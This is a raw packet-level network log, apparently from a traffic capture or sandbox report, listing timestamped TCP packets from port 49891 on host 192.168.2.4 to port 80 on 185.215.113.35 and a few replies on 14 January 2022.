Jan 14, 2022 09:26:02.032146931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032162905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032318115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032335043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032493114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032506943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032670975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032689095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032843113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.032857895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033024073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033041954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033189058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033202887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033358097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033375978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033535004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033550024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033708096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033725977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033885956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.033900976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034080982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034097910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034234047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034250975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034409046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034425974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034576893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034590960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034755945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.034774065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035002947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035023928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035101891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035115957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035185099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035542965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035631895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035749912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035837889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.035995960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.036083937 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.036113977 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.036247969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.036428928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.036633968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.036725998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.036807060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.036897898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.036990881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.037080050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.037166119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.037362099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038142920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038161039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038242102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038328886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038415909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038507938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038655043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038685083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038749933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.038891077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039011955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039031029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039123058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039228916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039412022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039433002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039505005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039659023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039727926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.039860964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.040029049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.040219069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.040235996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.040361881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.040488005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.040570974 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.040623903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.040837049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.059684992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.059804916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.059936047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.060053110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.060323000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.060477972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.060601950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.060776949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.060875893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.060945988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061050892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061207056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061279058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061399937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061552048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061634064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061796904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061814070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.061991930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062006950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062154055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062170029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062341928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062355995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062508106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062524080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062679052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062695026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062844992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.062860966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063016891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063031912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063182116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063198090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063349009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063364029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063518047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063534975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063687086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063703060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063855886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.063870907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064027071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064040899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064193964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064275980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064414024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064430952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064503908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064673901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064692974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064835072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.064853907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065028906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065048933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065182924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065201998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065326929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065342903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065495968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065520048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065651894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065673113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065824032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065865993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.065992117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066009998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066148996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066170931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066306114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066325903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066463947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066481113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066627979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066644907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066797972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066817045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066927910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.066965103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067159891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067245960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067333937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067420006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067609072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067630053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067785025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067806005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067958117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.067975044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.068135977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.068156958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.068309069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.068326950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.068484068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.068502903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.068950891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.068969011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.069127083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.069147110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.069298029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.069317102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.069475889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.069495916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.069680929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.086824894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.087150097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.087455988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.087610006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.087718010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.087897062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.088182926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.088622093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.088706970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.088896036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.088905096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.088983059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089174032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089181900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089344025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089351892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089531898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089540958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089704037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089714050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089888096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.089896917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090059996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090066910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090245008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090254068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090418100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090425968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090603113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090629101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090784073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090795040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090971947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.090982914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091144085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091156006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091317892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091327906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091501951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091510057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091675043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091684103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091871977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.091880083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092089891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092097998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092231035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092238903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092397928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092408895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092585087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092592955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092752934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092761993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092941046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.092952013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.093132019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.093139887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.093285084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.093295097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.093444109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.093449116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.093636036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.101089001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.101285934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.101530075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.101627111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.101814985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.101830006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102026939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102035999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102195978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102205038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102386951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102395058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102559090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102570057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102744102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102752924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102920055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.102927923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103101015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103108883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103279114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103285074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103461981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103465080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103636980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103643894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103821039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.103823900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104031086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104037046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104206085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104214907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104393005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104399920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104568005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104577065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104753971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104763985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104928017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.104937077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.105113029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.105119944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.105278015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.108319998 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.108472109 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.111666918 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.121109009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.121309042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.121407986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.121512890 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.121553898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.121751070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.121989965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.122114897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.122234106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.122574091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.122582912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.122698069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.122852087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.123032093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.123039961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.123195887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.123306036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.123605013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.123660088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.123766899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.123989105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124001026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124161005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124170065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124355078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124366999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124526978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124537945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124582052 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.124711990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124726057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124914885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.124921083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125094891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125103951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125272036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125283957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125423908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125437021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125618935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125626087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125787973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125802040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125982046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.125996113 CET	49891	80	192.168.2.4	185.215.113.35
